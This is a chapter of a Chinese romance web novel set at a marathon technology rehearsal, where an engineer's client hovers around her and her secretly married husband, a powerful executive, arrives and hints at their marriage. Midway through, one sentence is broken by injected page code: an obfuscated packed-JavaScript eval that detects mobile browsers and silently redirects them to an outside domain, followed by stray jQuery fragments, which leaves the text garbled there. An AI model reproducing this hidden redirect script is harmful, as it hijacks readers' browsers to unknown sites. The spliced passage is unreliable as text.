晨光还未完全驱散夜色,时从意就已经收拾妥当,怕路上堵车特意改乘地铁。
车厢里空荡荡的,只有零星几个同样早起的工作人员。
路上席琢珩打了电话过来,男人低沉的声音,还带着晨起的微哑。
在得知她已经在路上时轻轻笑了一声,随后是几句沉稳的安抚和肯定,让时从意紧绷的神经稍稍松弛了些。
到达京市国际会展中心时,会场外已经拉起了警戒线,安保人员正在严格检查证件。
工作人员推着设备车来回穿梭,做着最后的场地布置。
“时工!这边!”
周砚站在签到处挥手。
他今天穿了正装,领子敞开着,看到时从意像见到了恩人:“科睿来了姜维黎和汪毅,已经在VIP区了。”
时从意快步走过去,把在地铁口买的咖啡递给他:“我还以为我到得已经算早了。”
“我反正是一夜没怎么睡,不知道张寅之那小子是不是跟我一样。”
周砚接过来猛灌了一口,黑眼圈跟西直门萌老三有得一比。
周砚这段时间精力,都放在和宏远的拉锯战上。
张寅之对蓝因的资金冻结本来就经不住推敲,有了红姐大不了往大了闹的架势,软的硬的他都不敢接招。
前几天刚松口说会重新评估资金冻结的事,红姐那个暴脾气可听不了这个,大马金刀往办公楼里一坐,把张寅之堵了个够呛,昨天就麻溜地签了解冻文件。
时从意一想到那场面,忍俊不禁。
“演练流程确认了吗?”
“刚拿到最新版。”周砚做了个夸张的擦汗动作,“听说今天体育局局长也到场了,我都没敢进去,万一问起技术问题我一句都答不上来,夺冒昧。”
两人边说边穿过安检通道,走进灯火通明的会场。
会场内,工作人员正在调试巨大的LED屏幕,上面循环播放着往届马拉松的精彩画面。
无人机在空中盘旋,实时传回会场外起跑区的准备情况。
作为MR技术供应商,时从意很清楚这次全流程演练的重要性。
这不仅是技术测试,更是各方展示实力的舞台。
VIP休息区内,姜维黎正在与几位组委会成员交谈。
这位无人机行业的科技新贵,在整个赛事中扮演着核心角色,无疑是今天最受瞩目的焦点之一。
除了分包给蓝因的人流监控和应急响应系统,从赛道测绘到媒体直播,所有的无人机技术支持都由科睿全权负责。
他今天穿了一身休闲西装,内搭白色T恤,既保留了商务正式感,又透着一股随性。
见到时从意二人进来,他微微颔首,随即向身旁的官员介绍道:“王局,这位就是我们MR技术方案的负责人,时从意,时工。”
周砚一听,压低声音在时从意耳边说:“姜维黎眼睛好像一直都看不见我,你们搞技术的是不是自带‘非技术人员屏蔽系统’?”
时从意用手肘捅他:“少贫。”
待人走近,体育局的王局长打量着时从意,眼中闪过一丝惊讶:“没想到时工这么年轻漂亮,我还以为……”
“还以为都是像我这样的书呆子?”姜维黎自然地接过话头,“王局,现在科技行业最顶尖的人才,往往都是像时工这样才貌双全的,我就差点意思,干不了工程师,只能做做管理工作。”
他略带调侃的语气既化解了尴尬,又不着痕迹地维护了时从意的专业形象。
时从意唇角微扬,露出一个恰到好处的微笑,眼神却保持着礼貌的距离感:“姜总过奖了,我们团队能有今天的成绩,离不开科睿的支持。
她不动声色地将话题转绕回了科睿身上。
姜维黎这个人,她有些看不透。
待人接物看似彬彬有礼,但偶尔流露出的锐利眼神,与温和表象形成鲜明对比。言谈举止滴水不漏,却又处处透着刻意的妥帖。
但就是这种过分的周到,反而让人难以捉摸。
项目合作期间,从频繁的项目进度过问到亲自参与技术讨论,他若有似无透露出来对这个项目超乎寻常的重视。
他给予蓝因团队超乎寻常的信任和资源,却又总能恰到好处地保持甲方乙方的界限,让人既感激又隐约感到一丝不安。
就像现在,他仿佛是在刻意展示自己的重要合作伙伴,以一种近乎保护者的姿态,带着时从意穿梭于各个重要人物之间。
某通信公司的副总在握手时,眼神在时从意身上多停留了几秒:“时工这么漂亮做技术可惜了,要是来我们市场部……”
“李总说笑了。”姜维黎侧身站了半步,“时工所在的蓝因科技是我们重要的技术合作伙伴,他们的MR算法在业内可是首屈一指。”
周砚在一旁挤眉弄眼,一副英雄无用武之地的模样:“好家伙,连我平常干的活儿也抢了。
时从意笑了笑,语音轻快道:“李总抬爱,与其让我转行去市场部,不如您考虑下合作。贵司的5G基站布局,正好和我们这套MR系统的优化方向契合。我们周总也在,要不安排签个单?”
李总哈哈一笑,眼睛眯成一条缝:“姜总这是从哪里挖来的这么个宝贝?懂技术,反应也快,连谈生意都这么漂亮!”
姜维黎目光柔和,一副与有荣焉的样子:“时工确实是不可多得的人才。”
说话间,他自然地向前一步,抬手似要触向她的衣领。
时从意眉心一跳,当即转身拽住周砚。
“周总!您手机在响!”
“啊?”周砚一脸茫然,“没有啊……”
话没说完就被时从意踩了一脚,立刻改口:“哦对对对!是郑总的电话!”
他装模作样地把手机贴在耳边,配合着时从意往旁边移动。
姜维黎的动作在空中微妙地停顿了一瞬,又从容地收回,嘴角依旧挂着得体的微笑:“看来周总业务繁忙。”
他转身对着李总:“关于合作细节,我们继续讨论?”
就在这时,会场入口处突然传来一阵骚动。
时从意循声望去,差点以为是早上那通电话的幻觉。
会场入口,席琢珩正带着陈叙,在众人的注目中缓步走来。
他今天穿了一套炭灰色的三件套西装,内搭的浅银灰色马甲完美勾勒出宽肩窄腰的线条。
不同于其他与会者匆忙的神色,他的每一步都从容不迫,仿佛整个会场的节奏都随之放缓。
周砚瞪大眼睛,吹了一声口哨:“哇哦,这是哪路神仙下凡?”
时从意脑袋瓜子嗡嗡的。
陪跑大半个月,天天见面,这人压根都没提今天会来的事!
组委会的王秘书长已经快步迎了上去:“席总,没想到您亲自来了。”
“来学习新技术。”席琢珩的声音不高不低,却恰好能让周围的人都听见。
他的目光扫过会场,在经过时从意所在的位置时几乎没有停顿,仿佛只是掠过。
席琢珩的出现像一块磁石,瞬间改变了整个会场的磁场。
原本围在李总身边的几位企业代表已经不自觉地向入口处移动,记者们的镜头齐刷刷调转方向,连正在调试设备的工程师都停下了手中的工作。
姜维黎的瞳孔几不可察地收缩了一瞬,嘴角的笑意微微凝滞,他下意识地看向时从意。
“是恒泰的席琢珩,近期刚回国掌权,没想到会在这里遇见。”顿了顿,他压低声音对时从意道,语气中带着几分亲密,“还是过去打个招呼比较好。”
时从意不是很想去。
打招呼她可以天天打,但不是以这样的方式,在这个场合。
那些平日里被她选择性模糊,或者说并未深究的差异,此刻在耀眼的会场灯光下,在王秘书长那声恭敬的“席总”里,被清晰地凸显出来,带着现实世界特有的标签和分量。
眼前这个人,似乎暂时剥离了她所熟悉的那个席琢珩,也不同于她隐秘少女岁月里的席先生,他切换到了一个她下意识想要保持距离的角色。
“恒泰席总”。
那个甫一归国便执掌权柄,连组委会秘书长都要小跑着迎上去的人物。
这并非源于自卑或自怜,更像是一种本能的警觉。
她珍惜自己那份独立运转的世界,以及与他之间那份无需身份加持的纯粹联结。
这也是她从不主动与他深入谈论工作的原因之一。
就像身处不同的轨道,各自运行着不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454402|185320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同的法则。
她享受着与他相处的每一刻,却也更清晰地意识到:她需要守住自己这片天地,这个她凭借自身能力立足,纵有风雨也能自洽的世界。
然而此刻,众目睽睽之下,她避无可避,只能收拾收拾扮演一个陪甲方社交的称职乙方。
以“蓝因工程师时从意”的身份,去面对“恒泰席总”。
还未等她迈步,姜维黎先一步迎上前去,伸出手。
“席总,久仰,科睿姜维黎。”
他说着,不动声色地挡在时从意身前半步,同时不自觉挺直了背脊。
席琢珩轻轻回握:“姜总。”
姿态矜贵。
他的目光没有在姜维黎身上多做停留,便已越过姜维黎的肩膀,落在了时从意身上。
姜维黎的身高已经算高,在席琢珩面前仍矮了半个头,这让他不得不微微仰视,状似亲密地介绍时从意:“席总,这位是蓝因科技的时从意工程师,我们MR技术方案的负责人。”
时从意暗叹口气,硬着头皮扯出职业假笑,“席总好。”
说完不等席琢珩反应,她一把把周砚拽了过来,强项介绍:“这是我们的经理周砚。”
被突然推出来的周砚一脸莫名,也还是条件反射地投入到社交当中。
“席总,您好您好您好!久仰大名,没想到恒泰也参与了这个项目。”
“只是提供了选手的智能手环。”席琢珩语气平淡,目光却缓缓落在时从意脸上,带着些似笑非笑的意味。
时从意被这一眼看得格外心虚,装作被会场另一侧的展台吸引,若无其事地转过身去,全身心都写满了逃避。
周砚眼尖,一眼瞥见他无名指上的戒指,随口笑道:“没想到席总也英年早婚,跟我一样。”
说到这里,王秘书长像是突然想起什么,连忙说:“对了,得恭喜席总新婚!”
“谢谢。”席琢珩抬起左手,铂金戒圈在灯光下流转着细腻的光泽,“这戒指是我太太挑的。”
时从意睁大眼,不可置信地转头,跟站在席琢珩身后的陈叙四目相对。
陈叙立即假装很忙地整理文件,压根不敢抬头。
他老板真是这个(大拇指)!
公司炫耀完还不够,还要直接舞到老板娘面前。
姜维黎的表情微妙地放松了几分:“没想到席总已经成家了。”
“刚领证不久。”
席琢珩的语气依然平静,骨节分明的手指状似无意地摩挲着戒指,像是在提醒某个装傻的人。
这戒指是什么来历,她最清楚不过。
正说话间,组委会的工作人员匆匆走来:“席总,实在抱歉,稍后我们想请您上台临时讲几句,不知您是否方便?”
席琢珩略一沉吟,点头应下。
人群开始流动,时从意趁机退到角落。手机突然在口袋里震动,她掏出来一看,是“老槐树精”发来的信息。
「是我让你不自在了?」
原来他察觉到了。
时从意呼出一口气,顺了顺头发,试图压下心口那点莫名的躁意。
不是单纯的自在不自在,只是这种复杂的情绪,连带着她也头一次像这样意识到。
那些长久以来,被她刻意忽略的微妙感被摊开到明面上,她一时间难以分辨,也难以消化。
靠在会展中心的墙壁上,她想了想,决定留下最妥帖的答复。
「就是有些突然。」
点击发送的瞬间,她几乎是下意识地抬起了头,目光穿过攒动的人头,精准地投向那个被众人如众星捧月般簇拥着的中心。
就在组委会主任恭敬地退后半步时,席琢珩拿出了手机。
他垂眸看向屏幕,神情极其细微地柔和了一瞬。
虽然只有一刹那,快得让人以为是光影的错觉,但他身边那位一直试图搭话的某集团副总,脸上殷勤的笑容却明显僵住了半秒,眼中飞快掠过一丝惊诧。
席琢珩神色如常地抬眼,目光沉稳地扫向前方,仿佛刚才那丝若有似无的变化从未发生。
时从意收回视线,手机再次震动。
屏幕上,他回复了新的消息。
「可是我想看看,我太太工作时的样子。」